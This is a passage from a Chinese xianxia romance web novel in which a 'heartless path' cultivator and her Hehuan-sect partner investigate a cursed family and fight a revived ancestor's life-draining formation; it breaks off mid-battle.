《携夫君从无情道飞升》
1. 结契
春雨连绵,屋子里时不时传来几声闷哼和受不住的哭泣。
雾蒙蒙的泪眼和她相望,张张嘴似要说些什么,少女被惊醒,胸脯不断上下起伏。
周慈被这莫名的预言吓得浑身是汗,抱着小兽才逐渐缓过来。
定是这预言出了错。
平复好心绪后,她才前往上古契约石处。
沧澜宗处天雷滚滚,一道金光冲破天际,天道誓言响彻天际。
“道心相抵,生死同契。”
誓约完成。
墨发青衣少女站在上古契约石下,眉目清淡,如水墨勾染,眼眸清澈见底,唇色很淡,眉心一颗红痣。
今日她与预言中的合欢宗弟子结为道侣。
“江道友,日后多多指教。”,她看着面前的人,淡淡说道。
江敛勾勾唇,一只粉色合欢花凭空出现在他的手中,像是吸食了他的精气,逐渐变成浓郁的红,少年轻轻朝花朵吹了一口气,将那支花别在她的耳旁。
“周道友,这是我宗特有的花,赠与你。”,他眉眼带笑。
如果不是带着目的,周慈会觉得好看。
可惜了,他们在一起就是为了毕业成功,获得飞升成神的机会。
这是天道定的规矩。
不过她所在的无情道毕业率为零,倒是江道友所在的合欢宗毕业率百分百。
少女没有往后退,只是点点头道:“多谢。”
站在身后的一位白发仙人面无表情的开口:“如今契约也已完成,你们便下山吧。”
“是,师父。”
周慈恭敬地拱拱手,朝身边的少年投去目光,“江道友,要走吗?”
“自然。”
江敛点点头,脸上笑意未减。
二人一同下山,据昨夜预言的警示,碧落小镇似有异常,需得前去看看。
她偏过头来看向身边人,欲言又止,“江道友,我要去碧落小镇,你……”
“你我二人已经结契成为道侣,自然是你去哪,我便去哪。”,江敛弯弯眸,带着些试探的意味喊道:“……夫人。”
听到这陌生的称呼,女孩明显一愣,但又很快回过神来点头没有说话。
既然他们已结为道侣,这么喊倒也没错。
三日后,官道茶寮旁——
“夫人,再此歇会儿吧,已经赶了三日的路程了。”
“好。”
周慈应了句,坐在茶寮外边的椅子上,少年坐在她对面,喊小二上了壶茶水。
她将剑放在桌子,一句话也没说,倒是对面的人频频和别人搭话。
“兄台,我能问问这碧落小镇是什么情况吗?”
少年边问边倒了杯茶水推到她面前。
“你问这个做什么?”,端茶的小二瞥了他一眼,语气不善。
江敛就像是没有听出,依旧是笑意盈盈,顺手摸出几个铜板放到他手上。
小二看见后,语气瞬间变了一个度,他一边将铜板塞进自己的腰封里,一边凑上前,双眼不停的观察周围,小声道:“碧落小镇没什么问题,有问题的是吴老爷家。”
“兄台可否细讲。”,他似乎只是单纯的询问,小二降低声音弯腰和他们讲道。
“这吴家说来也怪,自二十年前,他们家的孩子就活不过二十岁,就算侥幸活过,也会在二十岁生辰的第二日忽然——暴毙!”
他压低了声音,“大家都说,是他们家有妖邪作祟。”
“原来是这样。”,少年笑着点点头。
“对了公子,你问这个干啥。”
“我与夫人此次前去吴家探望故人。”,江敛端着茶杯轻抿一口茶,看向对面少女,脸上带着温柔的笑意。
小二看了眼从始至终一言未发的女孩,忍不住叮嘱:“那你们可得小心。”
“多谢。”
他颔了颔首,小二端着茶壶离开。
忍不住唏嘘:没想到这公子看着如此年轻,竟已成婚。
“夫人,此处刚刚我瞧了瞧,并无什么东西可尝,你先委屈下,吃些这糕点。”
少年从自己的储物袋里拿出油纸口袋包着的糕点,打开推到她面前。
“我已辟谷多年,无需吃东西。”
眼见着那双眼黯淡下来,让她想起自己养的小兽。
“不过今日可以尝尝。”
周慈捻起一块放进口中,绵密细软。
江敛一瞬不瞬的观察她的神色,见到她眉心舒展,脸上带着些意味深长的笑容。
少女毫不吝啬的夸奖:“很好吃。”
听到他的夸奖,刚刚还有些失落的人目光瞬间亮了起来:“夫人日后喜欢,我便多做些!”
原来是他自己做的,周慈又尝了好几块。
更像她养的小兽了。
“刚刚你为何要询问那小二。”
周慈心中有不解,明明到那之后就能知晓不对劲,为何要如此大费周章。
“知晓些情况,我们也可以早做准备。”
“嗯。”
她不再说话,只是静静地等待对面人将杯中的茶喝完。
江敛喝下最后一口,持剑起身,“走吧夫人。”
“好。”
少女走在他前边,二人进了小镇,镇子里一片欣欣向荣,道路两边传出的叫卖声音此起彼伏。
看上去倒不像有妖邪作祟的样子。
在一片热闹之间,周慈的目光落在一处小巷的乞丐身上,这里和外边的市井似乎是两个世界。
她顿了顿,抬脚往小巷走去,少年走到她身边轻声细语:“怎么了夫人?”
周慈没有说话,只是从自己腰间的袋子里摸出几个铜板,走上前蹲下身放在对方的碗里。
铜板传来的声音让老人抬起头来,看见蹲在自己面前的人,他连忙磕头。
“多谢,多谢仙人!”。
哽咽声让她有些无措,她伸出手用掌心垫在老人的额头上,微勾唇角语气温和:“无妨。”
温暖的手心让老人一时间忘记哭泣,他不知道该说些什么话才好。
周慈起身离开,江敛看着她离开的背影,眸色深邃。
“夫人倒还真是心善。”,他跟在身边,看着女孩的侧脸。
周慈眼睛看向前方,语气平静,目光柔和,“凡人生活皆不易,若那几个铜板能让他好过些,倒也好。”
江敛没有说话,只是在心里嗤笑:竟还是个活菩萨。
他垂下眼睫没有再说话,乖巧的跟在少女身边,两人一路来到了吴府外。
门口的两个小厮拦住他们,“什么人!”
“吴府近日是否常有怪事频发。”,少女上前一步问道。
两个小厮面面相觑,握紧手中的武器横在她的面前,“哪来的江湖骗子,胡说什么!”
“吴府从未有什么怪事发生,再敢来就别怪我们不客气了!”
周慈面无怒色,拱了拱手转身离开,“既然贵府无怪异之事,在下这就离开。”。
说完她便转身离开,江敛抬头看了一眼挂着的牌匾,眼里闪过一丝兴味。
明明这府邸半空中的死气都快淹死人了。
“夫人现在要去何处。”,少年跟在他身边,似乎有些好奇。
“找间客栈住下,待晚上再去一趟。”
“夫人是要管吴府的事情吗?”
“既然说有妖邪作祟,我们自然要管一管。”
这也是此次下山历练的意义所在。
二人随便找了一间当地的客栈,里边的人坐的满满当当。
“掌柜的,要两间房。”
掌柜手中的算盘打的噼啪作响,头也没抬的答道:“普通房四十五文一间,上等房八十文一间,您要哪间。”
少女摸了摸自己的乾坤袋,面带窘迫。
自己好像没有那么多铜钱……
江敛又怎会不知,这一路上,只要碰见个可怜人,她就要给些铜钱出去。
蠢货,真该让她睡大街。
他拿出一锭银放在台子上,“要两间上房,再上些你们这的吃食,和一壶酒。”
周慈更不好意思了,她的声音很轻,却足以让身边人听见,“多谢江道友,日后我会还给你的。”
“夫人何必计较这些,我的便也是夫人的。”,少年唇角的弧度未变,只是眼眸中一片冷淡。
他贴心的问道:“夫人是要上去歇息,还是在下边吃些东西。”
“你呢?”
“我自是在下边听说书。”
“好。”
周慈没有说话,只是跟随他的脚步找了张桌子坐下。
少年看了她一眼没有说话。
抑扬顿挫的声音倒也很快能将人拉进故事,“要说这碧落小镇,万年前那可是妖物横行啊,多亏吴府祖
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先带着那时候的百姓奋起抵抗,才拖到仙人来躲过这一劫。”
台下的一人大喊:“那岂不是这吴祖先是碧落小镇的恩人。”
“自然。”
说书人点点头,却不再讲这个故事。
周慈心下已经有了些想法,台上的说书人此刻已经讲的是另一番故事。
“要喝点吗?”
他斟满一杯酒递到少女面前,周慈回过神来摇摇头,“不了,修行之人应当清浊。”
无趣。
江敛收回手,自顾自的抿了一口,偏向头看着她,声音带着一□□惑:“夫人,这酒……可是好喝的很啊。”
清凌凌的眼睛看向他,眼中尽是清明,“你若喜欢便多喝些。”
少年轻笑出声,慢悠悠的将那一壶酒都喝完,唇瓣被酒液粘的亮晶晶的。
似在无声的勾引。
周慈双目无神直视前方。
好无聊啊,江道友到底什么时候喝完。
自己想回房间抱小兽了。
今日她可攒了可多话没说,快憋死了。
周慈百无聊赖的尝了口菜,看着台上的说书人。
周围的人散了很多,说书人慢悠悠讲完最后一句话便准备离场。
她瞅准时机连忙追上说书人的脚步。
“老先生等等。”
说书人停下脚步转过身来,眼珠似蒙了一层白,“姑娘若要听书,明日再来。”
“老先生,我是想问问这吴府祖先后来怎么样了。”
“万年过去,自然是死了。”,说完他慢悠悠的离开。
既是问不出来,看来还是得往吴府去一趟。
等她回去后,就瞧见少年坐在原位上单手撑着脑袋,双眼微闭。
这副模样引得周围前来喝茶的姑娘频频看来。
周慈上前拍了拍桌子,声音让他缓缓睁开眼睛。
江敛眯着眼,似乎在思考面前的人是谁,“……夫人?”
“嗯,吃完了吗?”
“吃完了。”,他乖巧的点点头,眼里雾蒙蒙的。
不愧是合欢宗弟子,只是一个简单动作便吸得周围人目光。
看样子是醉了。
“小二,将他扶到房间。”
少女转身喊道,拿起剑便上了楼。
小二上前想要扶他站起身,看着她的背影,少年褪去最开始的醉意。
取而代之的是满脸兴味。
“公子,小的扶您上去。”
江敛不动声色的躲开,脸上带着笑意,“不必,多谢。”
无情道首席弟子,倒有点意思。
这样的任务做起来才有挑战性啊……
周慈回到房间把门关上后,才松懈下来不似往日看起来那般清冷。
她抬手,一只小兽就凭空出现在她的手心,乖巧的闭上眼似在休息。
“这是谁的乖小兽呀。”,少女将它举起来,把整张脸埋在那毛茸茸里,“原来是我的。”
“快醒醒,别睡了。”
怀里的小兽没有睁眼,周慈弯弯眸,从乾坤袋里拿出一条小鱼干,在它面前晃了晃。
刚刚还没有动静的小兽用腿抱住她的手,准确无误的将小鱼干送进嘴里。
“还真是一只小馋猫,闻见小鱼干的味就醒了。”,女孩又蹭了蹭才抬起头来。
怀里的小兽伸了个懒腰,乖巧的窝在她怀里,尾巴一晃晃的。
周慈揉揉它的脑袋,自顾自的说道:“今日我与那合欢宗弟子结为道侣了,师父总说我们无情道与合欢宗势不两立。”
“还说日后要毕业成功,需得杀他证道,才可有飞升成神的机会。”
少女叹了口气,将它举到与自己视线平齐的位置轻声道:“可我认为这无情道,并非定要无情,也不是非要沾染合欢宗弟子的鲜血。”
“小白,你说对不对?”
‘喵呜——’,小兽摇摇尾巴,用脑袋蹭了蹭他的下巴。
“好乖。”
周慈面含笑意,就如冬雪消融,露出一片春色。
她又絮絮叨叨的说了很多很多,怀里的小兽只是安静的听着。
江敛从门口经过时,隐隐约约听见里边碎碎念的声音,像是发现什么大秘密。
人人都道修炼无情道之人无心,这周慈倒是个异类。
现在看来,他的任务并不是不可能成功。
2. 小鱼干吃吗?
子时三刻,周慈推开门准备前去吴府看看,刚推门就瞧见靠在门旁的人。
她顿了顿,握剑上前,“怎的在这?”
“夫人不是说今夜要去吴府查探吗,我怕夫人独自前往会遇到危险。”,少年看着她,语气里还藏着一丝委屈。
她能遇到什么危险?
周慈想不通便不再想,只是朝他点点头,“跟上。”
夜半碧落小镇陷入一片沉睡,空旷的大街上只有他们二人在行走。
很快他们便来到吴府外,虽还是有家丁守着,但此刻那两人都在打瞌睡。
“走吧。”
说完少女便越过围墙跳进去,江敛挑挑眉紧随其后。
宅子看起来一切平常,唯独堂前那口水缸吸引了二人的目光。
有蹊跷。
两人从彼此的目光中看出答案,站在盛满水的水缸面前,一朵合欢花瓣缓缓飘到水面上。
一圈圈波纹荡漾开来,合欢花瓣却没有丝毫变化。
他朝身边人道:“是正常的水。”
“好,我们再看看,小心些。”
他们传音道,并肩而行,逛完了整座吴府。
不过一圈下来,却没发现有任何异常。
倒是府邸与那凝聚在半空的死气完全不同,是源源不断的生机。
“先走,明日再出去打听打听。”
说罢少女便用同样的方法翻出吴府。
路上她看向一直沉默的人,张了张嘴:“是有什么发现吗?”
“夫人,你说这吴府也算当地的名门望族,怎会不请风水先生来瞧瞧,就在堂前摆了一口水缸。”
堂前摆水缸,可是会招来邪祟……
江敛似乎真的有些不明白,周慈点点头,“刚刚我也看了一圈,府内生机勃勃,看起来确实不像有邪祟之迹。”
可没有异常,就是最大的异常。
“好了夫人,快些回去歇息吧,夜已深了。”
看着她沉思的模样,少年轻笑一声打断他的思绪。
“嗯,你也早些休息。”
她回过神来才发现已经回到客栈,说了句就进了自己的房间。
周慈轻轻的呼了口气,将小兽唤出来,使了个除尘诀就合衣躺在床榻上。
确实是很晚了,该睡了。
在她睡熟后,窗台处悄悄飘落一枝合欢花,江敛坐在自己房间里,通过花看的一清楚。
竟真的睡着了……
怀里似乎还有只……
妖兽?
少年来了兴趣,他可又抓到了对方一个把柄。
无情道首徒,竟私自豢养妖兽。
若是被其他人知晓,她会不会破掉道心呢?
毁掉无情道可不只有爱,还有恨啊……
江敛脸上的笑意越来越大,他又有了毁掉对方的一个绝佳的办法呢。
响指在房中响起,合欢花消失,一切好像从未发生过。
一觉睡到大天亮,少女撑着身子坐起来,脑袋有些晕。
昨夜她又看见了预言,预言里吴府所有人都……
怎会这样?
周慈面色严肃,她下意识的撸了撸怀里的小兽,在对方发起抗议之前又塞了个小鱼干给它。
小兽抱着鱼干吃起来,也就放任了在自己脑袋上作乱的手。
她轻轻的呼了口气,昨夜预言的画面让她内心忐忑不安。
今日必须得去打听打听。
“好了,快进去吧小白,莫被人发现了。”
小兽吃完鱼干舔舔爪子,乖巧的进了乾坤袋里。
出门时却又在门口处看见熟悉的身影,她步子一顿,抬头看了看身后的房门。
确实是自己的房间。
“你有什么事吗?”
“夫人,今日是要出去打听消息吗?”
周慈轻轻点头,不再搭话。
至于他是如何知晓,自己一点都不感兴趣。
江敛也不介意,只是跟在她身边,“夫人知晓去哪个地方打听吗?”
“我无需知晓。”
少女的发丝从他面前飘过,看着她离开的背影,江敛的眸色渐深。
她再次来到了吴府外,不过这一回她可选择了偏一点的地方。
江敛站在一旁,不明白她又要做些什么。
周慈深吸口气,脚尖轻轻一点,便越进吴府内。
“你说的办法就是偷偷溜进人家府里?”
“毕竟这样方便,还快。”
话间她随手使了道法术便令二人隐去身形。
少年看了她一眼,没有反驳。
婢女和侍从从他们身边面无表情的路过,只是每一双眼似乎都没有聚焦点。
“天地自然,秽气分散。”
淡淡的金光随着她的话音向四处飘散,只是她的脸色越来越沉重。
“夫人,如何了?”
周慈摇摇头,“这府里有一道阵法,阻挡了我的术法,无法探出是否有邪气作祟。”
“可看出是何阵法?”
“有点像舍生阵,但又有些不一样。”
江敛点点头,合欢花香隐隐从他身上散出,少女侧过脸看向他未曾阻止。
直到一个婢女双目无神走到他们面前,周慈这才看出是什么术法。
少年面带笑意,声音带着一丝蛊惑:“你可知晓这府中发生了何事?”
“回大人,奴婢并不知晓。”,她语气毫无波澜,顿了顿道:“可奴婢曾亲眼看见死去的小姐在第二日又活了过来。”
听到这话,两人对视一眼,江敛笑了笑,“带我们去寻你小姐。”
“刚刚那是媚术?”
她看向身边人,少年脸上的笑意未变,并没有说话。
“走吧夫人,我们去看看这吴府小姐。”,他不留痕迹的转移话题。
周慈也并未深究,二人跟在那婢子身后,来到一处别院。
庭中生机盎然,空气中混着一股奇异的花香。
“夫人别闻。”
少年抬手捂住她的口鼻,周慈默念术法,随即看了他一眼,捂住自己口鼻的手就放了下去。
“下回莫要再像这样。”
“这花有蛊惑人心之效,夫人需得多加小心。”
“我知晓了,多谢。”
江敛笑道,“你我之间何须言谢。”
“天地自然,秽气分散。”
这一回,空中隐隐散着黑气,“是死气。”
在死气下,这些花竟还能开的如此艳,有蹊跷。
“夫人,这里应该就是那阵眼所在了,以府中所有的生气,应是能让这些花开的如此艳。”
他转过身来,身上的合欢花香隐隐要超过那些蛊人的味道,带着笑意道:“夫人,是我的花香好闻,还是她的。”
周慈瞟了他一眼,默默往后退了一步,面无表情,“熏得我有些头疼。”
屋内传出一道女声,“客人来了为何不现身,进来坐坐?”
少女一顿,抬手撤去了术法,庭院中渐渐出现她们的身影。
吴家小姐从里边走出来,煞白的脸萦绕着死气,可那唇瓣倒是异常鲜红。
“客人远道而来,不如进来喝喝茶。”,她让出门,面带笑意。
“既然如此,那便多谢了。”
周慈绕过她进了屋子,屋内燃着香,粉色帘帐随风飘起,带起一股香味。
“这位公子倒是生的好看,不如留下来做我府中赘婿,吴府定不会亏待你的。”
说着她就想要抬手拍拍少年的肩,江敛身子往旁边一躲,眉眼带笑,可眸中一片冷淡,“抱歉,我已有道侣,实在无福消受。”
话间他站在女孩身侧,周慈没有说话,只是用灵力打探着这间屋子。
“原来你二人是道侣,是小女冒犯了。”
她往后退一步,带着些歉意说道。
周慈转过身来,似乎没有察觉他们二人之间发生了什么,略带疑惑道:“吴小姐,你是如何发现我们的。”
吴玉掩唇轻咳,自顾自的走到桌边倒了三杯茶水,“二位请坐。”
“我这身子从小便不好,看了许多郎中都断定我活不过二十岁,不过我这眼睛好像从小就能看见别人看不见的东西。”
她看起来有些落寞,忍不住又轻咳几声,周慈抿了抿唇,拿出一个瓷玉瓶放到她面前,“吴姑娘,此药可助你强身健体,清除体内秽气。”
“那多谢了。”,吴玉愣了愣,似乎是没有想到。
“不客气,你也请我喝了杯茶水,不是吗?”
少女的语气平静,抬手喝下那一杯茶。
她眨眨眼,张张嘴似乎是不知道该说些什么。
江敛垂下眼睫,遮住眼底的嘲讽,那杯茶由热转凉,从始至终他也未尝过一口。
“天色不早了,我们便告辞了吴姑娘。”,她起身准备离去。
“周姑娘,今夜不如你们便留在这吧,我命下人准备两间房。”
“不了。”
周慈摇摇头,转身离去。
离开吴府时她总觉得自己好像忘记了些什么。
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想不起来了。
“夫人离开之时也不唤我,可真是让我伤心的很啊。”,身后传来一道声音,似乎带着怨气。
她脚步一顿,转过身就看见他站在身后,眼睫低垂,脑袋偏向一侧不去看她。
周慈眨了眨眼,觉得他很像自己养的小兽。
小白每次吃不到小鱼干时就这个样子。
思及此她走上前,拿出一条小鱼干递到他面前,眉眼带笑,“小鱼干,吃吗?”
江敛看着递到嘴边的小鱼干一愣,眼底第一次带着迷茫。
看见他没有动作,少女神色有些空白,默默地将小鱼干收了回来,面带尴尬。
她忘了,对方不是小白。
周慈试探性的开口:“你要……吃东西吗?”
“好。”
少年蓦然一笑,一双桃花眼里沾满笑意,眼底那颗小痣栩栩如生。
如此干脆,她张了张嘴,还是转过身带着他一起进了客栈,点了些吃食。
“不知你喜欢吃些什么,便随意点了些。”
又变成原来那副样子了。
江敛眼里的笑意逐渐散去,垂在桌下的手指微微动了动。
她好像嗅到了空气中的花香,是错觉吗?
“夫人点的我自然都喜欢,多谢夫人。”
周慈没有说话,只是静静地看着他慢条斯理的吃东西。
他看起来好像又和之前一样了。
是高兴吗?
她不知道,她只知晓到喂小兽的时间了。
“对了夫人,今日你便不怕那茶水不干净吗?”
周慈给自己倒了杯水,语气隐隐带着些得意,“茶水是干净的,不干净的是人,我给的那瓷玉瓶掺了点东西,只要她碰了,便无法再隐藏。”
“况且这招不管用,我还有其他法子,总归能让那邪祟现身,就是不知晓会是何种邪祟,还会阵法。”
“不过今日倒也不算白跑,至少知晓了吴府确有邪祟存在,就是可惜今日的好天气。”
或许是察觉到气氛不对,她忽然闭上嘴不再喋喋不休。
遭了,刚刚话好像有些多。
周慈立马端起样子,瞥了他一眼淡声道:“你继续吃,我先上去了。”
说完她就转身离开,带着些逃离现场的意味。
江敛看向她匆匆离开的背影,眼底眸色转深:果然,她总会给自己带来意想不到的一些惊喜。
无情道的异类,他可是很期待周慈能否获得成神机会。
回到房间后她才放松下来,唤出小兽抱在怀里,拿出一条小鱼干喂给它,絮絮叨叨说了很多。
只是这最后一句带着叹息和后怕,“小白,今日我差点就露馅了。”
若是被他发现自己不似其他修无情道之人,怕会惹来祸端。
怀里的小兽伸了个懒腰,吃完小鱼干就闭上眼睡觉。
周慈爱怜的摸了摸它的脑袋,这些话也只能对它说说了。
若不说话她怕自己会憋死。
少女将小兽放在床榻上,细心的用锦被盖上,随即自己盘腿打坐,灵力在周身运转。
外边的天逐渐暗下,直到街道上没有人来往,她才睁开眼平息静气。
还差一点就可突破至元婴了。
不过修炼之事向来急不得,她起身将小兽收进乾坤袋里转身出门。
时间到了。
周慈再次来到了那间小院,这次她连自己的气息也一并敛去。
“夫人是来看这吴家小姐有何蹊跷吗?”
她看了眼忽然出现在自己身边的人,抬手挡住他接下来要说的话,“噤声。”
透过窗子能看见那白日虚弱无比的吴家小姐,此刻面色红润,就连那双白日无力的眼眸此刻也带上一丝妩媚。
她坐在床榻上,身姿妖娆,细细舔舐自己的指尖,屋子里的雾越来越浓。
看不清了。
少女轻蹙眉,准备念术法散去屋里的雾,可身边人比她更快一步。
江敛握住她的手腕传音:“夫人,忽然散去雾气只怕会打草惊蛇。”
话语间手中的合欢花透过窗子,眼前的景象逐渐变得清晰。
吴家小姐此刻正双手紧紧的掐住自己的脖子,明明已经大张着嘴喘不过气来,一张脸青紫,额间青筋暴起眼球外凸,却依旧不肯放手。
还没来得及等她施展术法,那吴家小姐便断了气。
不过几息之间,原本失去生息的尸体却又忽然睁开眼,大口大口的喘气从床榻上坐起。
这是……活了?
3. 赐尔等一场魂飞魄散
江敛自然也将屋内的景象尽收眼底,奇怪的是这一次对方复活的时间竟然快了许多。
“或许是出了些变故,先离开,明日我们再来。”
“夫人为何不现在就将她收了?”
“若她背后还有人,怕是会打草惊蛇,更何况堂前那水缸还没有看出有何问题。”
少年看起来有些失落,“还说给夫人表演一下人皮开花呢,看来是没机会了。”
周慈看了他一眼没有说话,只是转身离开。
春光明媚,屋里弥漫檀香的气息,透过纱帘隐约能看见三人对坐。
吴玉招呼丫鬟上了些糕点,满面红光,俨然不是昨日那副病弱模样。
“还要多感谢周姑娘给的那药,昨日我吃了确实身子好了很多。”
少女轻点头,“那便好,吴姑娘可知晓这大堂前的水缸有由何得来?”
闻言她面带难色,“这……我与父亲搬来时就已经有了这水缸。”
一旁的少年来了些兴趣,一边询问一边捻起一块糕点递到女孩嘴边,“吴姑娘不是碧落小镇的人吗?”
周慈垂眸看向嘴边的糕点,顿了顿还是伸手接过小口小口的吃起来。
味道还不错。
她点点头轻声细语:“我与父亲是二十年前才搬来这碧落小镇,确实不是这的人。”
“哦,怎么不见吴小姐的父亲和府中其他兄弟姐妹。”,他似乎是无意间问起,还带着好奇。
吴玉一顿,垂在桌下的手紧握成拳又松开,牵起一抹笑,“家父南下做生意还未归,府中姐妹也因……二十就没了。”
“这样啊……倒是江某唐突了。”,他恍然大悟,脸上带着歉意。
惹得周慈多看了他几眼,这是在做什么?
“夫人,喝口茶顺顺。”,如玉的指尖端起茶杯递到她面前,周慈一愣,看了看他,又看了看这茶杯。
她摇摇头拒绝,“我不渴。”
“可夫人刚刚尝了些糕点,我以为你会需要……”,他垂下眼睫勾了勾唇,声音听起来有些苦涩,将手慢慢的收了回来,“既然夫人不需要,是我多虑了。”
少女轻抿唇瓣,指尖微动,最后拿过茶杯一饮而尽,还带着些无奈和轻微的叹息,“好了,我喝。”
吴玉艳羡的看着他们,眼神里充满向往之色,“你们二人感情真好,希望日后我也能找到如意郎君。”
“我确实心悦夫人,至于吴小姐……你定会找到心仪之人。”
前提是吴小姐能活到那个时候啊。
他垂在桌下的手,指尖微动。
少年面带笑意,语气缱绻,眼睛一眨不眨的看向身边人,眸中似有细碎的星子。
她默了默,终究是忍不住在心里道:合欢宗的人为了毕业成功,果真什么话都说得出口。
还好自己修的是无情道。
“今日多有叨扰,我们就先离开了。”,她站起身,临走时又给了吴玉一个小瓷瓶。
“此药服下,你的身子应该会好很多。”
“周姑娘,你这样我……我都不知该如何报答。”,她眼眶微红,声音哽咽。
“既如此,你腰间那香囊就当做谢礼吧。”。
少女唇角微弯,吴玉微微张嘴,一时间拿不准她到底要做什么,可最后还是将挂在腰间的香囊取下放在她手上。
一个香囊而已,既然她要给她便是。
周慈收下香囊,朝她点点头,“吴小姐,有缘再见。”
说完她便离开,这一次她记得叫上身边人了。
二人离开小院后依旧在府中徘徊,最后又回到原点——水缸面前。
“夫人,你刚刚终于记得我了。”
身旁冷不丁冒出一句话来,将她的思绪拉回,周慈看向身边人,眼里有些不解。
“我为何会看不见?”
那么大一个活人站在那,眼神直勾勾的盯着你,任谁不想看见也难。
“可是上次夫人就没有喊我。”,他悄悄地靠近一小步眨眨眼,语气有些无辜。
周慈忍不住在心里轻叹口气,好脾气道:“这次我记得了。”
“嗯。”
少年眉眼一弯,那双眸子像被山泉洗过的月亮,毫无杂质。
女孩看了他好几眼,这人还真是奇怪,不过是记得有什么值得高兴的?
“好了,看看这水缸,有没有看出什么问题。”,她将要来的香囊扔在水中。
江敛走到她身边看了看这水缸,一片花瓣落入水中打着旋儿,渐渐的原本一缸清水逐渐变得浑浊,深红。
还带着血腥味,很淡,对于他们修仙之人来说却是明显。
水缸里的水不断冒起‘咕噜咕噜’的泡泡。
饱满炸裂,最后血迹溅在缸边。
“是血。”
他看向身边人,少女面色严肃,轻轻划过水面指尖轻捻,最后放在鼻下轻嗅。
“还是人血,并且已经是死了很久的人血。”
少年挑挑眉,一朵花瓣落入水中,水不断激起涟漪,最后水缸破裂,渗入石板底下,冒起血泡。
碎裂的声音在空旷的府里显得格外突出,周围的花似乎更加妖冶。
“这府里果真有古怪,发出这么大动静都没人来。”
周慈未说话,只是蹲下身用术法探了探底下,不消片刻一具腐烂的白骨出现在他们面前。
还未等她仔细查看,一阵凌冽的风就朝她面门袭来。
“夫人小心。”,他上前挡在少女面前,周身的花香掩盖了尸体的味道。
她默了默,抬手拍拍他的肩膀,“江道友,你挡住我视线了。”
江敛回过身来看着她没有说话,唇瓣轻抿,最后只是沉默的站在她身边眼睫低垂。
此时她没有心思管身边人,看着眼前这堆白骨,周慈蹲下身来,骨头上还刻着诡异的红色符文。
与那舍生阵倒是有几分相像。
符文散发着诡异的红线,逐渐爬满白骨全身,江敛眉眼一沉,眼疾手快拉住少女的手腕往后一带,来的太突然了。
她踉跄的往后退几步,一双手扶住她肩膀才稳住身形。
“多谢。”
“无妨。”
两人看向那颤巍巍站起来的骷髅架子,身上的红色丝线包裹全身,它晃悠悠的朝两人奔来,喉咙里还发出嘶哑的低吼。
整个吴府此刻已全然被死气笼罩,阴风阵阵还带着恶臭,院中的树和花不断飘散出绿色的点点生灵气息。
在这被黑色笼罩的府邸中显得格外突出。
江敛躲过朝他面门袭来的手,剑出鞘斩断,碎裂的声音伴随嘶吼声越加大。
断落在远处的手朝他们袭来,直击他的心脏,周慈一个转身拦下那只断手。
骷髅上的符文越来越亮,最后笼罩整个吴府,刚刚还在巡逻的侍卫和婢子忽然停下脚步,齐刷刷的往同一个方向赶,就连眼白也被染上了猩红,张牙舞爪的朝这边狂奔而来。
感受到周围的异动,少年勾勾唇,“夫人,来了。”
“好。”
被她握在手中的剑终于出鞘,寒光闪过那些邪物便倒地不起。
预言还是实现了。
吴府的所有人,都变成失去意识的邪物,不知疼痛,只是一味的冲上来,就像不要命似的。
一波又一波,即便死了也能在片刻后撑起身子,重新长出新的骨头。
她看见了,无数的丝线穿过他们的身体,控制他们的行为。
让他们得以死而复生。
就像傀儡一样。
熟悉的声音传进她们的耳朵,“周姑娘,你当时要是直接离开就好了,可你偏偏回来了。”
“既然不想走,便留下来好了。”
吴玉从邪物堆里缓缓走出,此时的她身姿摇曳,面色红润,俨然不是那副快要病死的模样。
江敛一边对付那骷髅,一边笑道:“夫人,这回可以给你看看人皮开花了。”
话音间他的周身都飘散着花香,粉色合欢花瓣逐渐变深红,一阵灵力打过去花瓣没入对面人身体。
吴玉用手臂挡住,嗤笑道:“江公子,这点力度不够啊。”,话音间身后那些邪物疯狂朝他攻来。
“是吗?”,少年言笑晏晏,打了个响指,轻声道:“砰——“
“夫人你看,人皮开花了。”
合欢花争先恐后从她身体里钻出,吸了鲜血的花瓣似乎更加嫣红,最后炸开。
花瓣悠悠然从半空中飘落,花香掩盖这些恶臭,那骷髅架子也停下攻击,身上的红色符文逐渐暗下。
他收起剑走到少女身边,邀功似的看向她,眼睛亮晶晶的,“我开的花好不好看?”
“好看。”,周慈望向半空,认真夸奖。
少年一愣,随即绽放更大的笑容,花瓣在她们周围落下,邪物也停止动作。
江敛紧紧的盯着她的侧脸,眼里满是兴味,无情道啊……
不过如此。
破她道心,也只是时间问题,他开始期待若真到那一天,周慈还会像现在这般吗?
“江道友,小心。”
在他出神期间,少女冲上前用灵力弹开从他背后偷袭的那根断指。
她冷眼看向祠堂里,淡声道:“还不出来吗。”
嘶哑的声音由远而近,说书人慢悠悠从大堂走出来,“姑娘,那日的故事我还没讲完,这吴老祖死后他不甘心,凭何他救了整个小镇,自己最后却死了。”
“所以你布下舍生阵,吸取自己后代的生命让自己活下来。”
她顿了顿,似在寻找一个好的词语,红唇轻启:“恶心。”
“你是如何知晓?”
“万年前发生的事很少有人知道的那么清楚
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。”
何况,在预言里自己可是看见了他的脸啊。
“你懂什么,他们因为我,才成为碧落小镇的名门望族,若不是我,他们凭什么!”
“没有你,他们也可以。”
说书人看向他们,眼底的贪婪都快流出来了,“你们也该成为我的养料,好助我复活啊……”
他全身画满符文,红丝线将他包裹又缓缓放开。
江敛微眯眼,这老东西好像变年轻了。
“夫人小心,有古怪。”,他退到少女身边,双眸紧盯那邪物。
“嗯。”
吴老祖身上的符文越来越亮,原本消停的邪祟再次涌动,朝他们袭来。
就连那已经没了人皮的吴玉也颤悠悠站起身,破碎的人皮随意粘连包裹住他。
少年躲过一波又一波的袭击,和她背靠背,合欢花护住二人,让那些邪祟暂时不敢上前。
舍生阵笼罩整个吴府,周慈握紧手中的剑,源源不断的生机涌入对方的身体。
“你可以吗?”,她冷静问道,江敛轻笑出声。
“夫人也太小看我了。”
话音间花瓣越来越多,划破邪物的喉咙,他们前仆后继的倒下,不过一会儿却再次站起身来。
再这样下去,他们会因为灵力耗尽而亡。
“我去破阵。”
“夫人,带上花吧。”
打斗间少年递给她一朵花,随后再次陷入战斗,周慈拿着这朵花来到后院,一路上竟没有碰到邪物。
怕是都去江道友那了。
思及此她的速度更快,直到看见那棵生机勃勃的树在源源不断的吸取院中的生气眉眼一沉。
“跑到这来送死。”,嘶哑的声音在身后响起,她握紧手中的剑与对方纠缠在一起。
黑雾渐渐凝成实体,变成一条条触手,掀起地上一片尘土,身后的院子也已经一片狼藉。
手中的花散发着香味,令这些触手不敢靠近,吴老祖冷哼一声,触手分散开来深深扎进地下,不断吸取生机。
